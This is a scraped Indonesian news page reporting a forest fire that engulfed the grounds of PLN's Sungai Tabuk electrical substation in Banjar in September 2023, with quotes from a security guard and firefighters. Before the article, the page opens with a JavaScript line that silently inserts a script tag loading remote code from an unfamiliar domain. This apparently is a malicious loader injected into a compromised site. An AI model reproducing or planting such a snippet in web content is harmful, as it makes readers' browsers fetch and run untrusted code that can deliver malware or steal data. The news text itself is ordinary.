(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kepungan Api Ancam Gardu Induk Sungai Tabuk


KANALKALIMANTAN.COM, MARTAPURA – Kebakaran hutan dan lahan (Karhutla) di jalan Gubernur Syarkawi mengepung kawasan Gardu Induk Sungai Tabuk milik PT PLN, Sabtu (30/9/2023) sore.

Sekitar pukul 17.50 Wita, Karhutla yang terjadi di jalan Gubernur Syarkawi membuat Gardu Induk Sungai Tabuk PT PLN dipenuhi asap pekat.

Kondisi kawasan di sepanjang jalan Gubernur Syarkawi dipenuhi oleh asap Karhutla, beberapa titik api masih aktif.

Baca juga: Karhutla Nyaris Hanguskan Kantor Kecamatan Sungai Tabuk

Angin yang begitu kencang membuat api yang berada di seberang jalan berpindah ke kawasan kantor Gardu Induk Sungai Tabuk.

“Sekitar pukul 15.00 Wita api masih berada di seberang sana, terus sekitar pukul 16.00 Wita baru apinya nyeberang, tidak tahu apinya itu dari mana datangnya, kemudian ada teman-teman memanggil tim pemadam untuk ke sini,” kata, Tama (24), security Gardu Induk Sungai Tabuk kepada Kanalkalimantan.com.

Di sekitar kawasan objek vital tersebut dikepung asap dan api yang aktif di bagian tengah dan bagian samping belakang.

Baca juga: Karhutla Sore di Jalan Gubernur Syarkawi, Asap Pekat Bikin Perih Mata

BPK gabungan berjibaku melakukan pemadaman di sekitar kawasan kantor PLN itu “Tiba di sini sekitar pukul 17.00 Wita, api sudah kondisi seperti ini, status api aktif dan banyak asap, kita ikut turun membantu dari Banjarmasin,” kata Didi (53), dari BPK Anugerah 21 Veteran Banjarmasin.

Tim Anugerah 21 bersiaga di bagian depan dekat pos penjagaan dan sebelah kanan, terdengar suara api yang sedang melahap tumbuhan dan pepohonan.

Tim pemadam lain sedang bersiap menyiapkan air untuk melakukan penyemprotan api yang terlihat menyala di halaman Gardu Induk Sungai Tabuk.

Baca juga: Siap-siap! PLN Jadi Raksasa Pelaku Carbon Trading yang Melantai di IDXCarbon

Dari tim Mulia Rescue mengamankan bagian belakang halaman Gardu Induk agar api tidak melebar ke bagian lainnya.

“Tadi informasi masuk sekitar pukul 17.15 Wita, dapat informasi kebetulan pas pulang dinas jadi langsung pergi ke sini. Kalau tim kami sejak dari pagi pukul sampai sampai jam lima sore gak ada istirahat,” kata Ardian, anggota PMK Rapelia.

Semua tim bekerjasama untuk menaklukan si jago merah di kawasan halaman kantor Gardu Induk Sungai Tabuk agar tak membahayakan penyalur listrik ke berbagai kawasan itu.
(Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.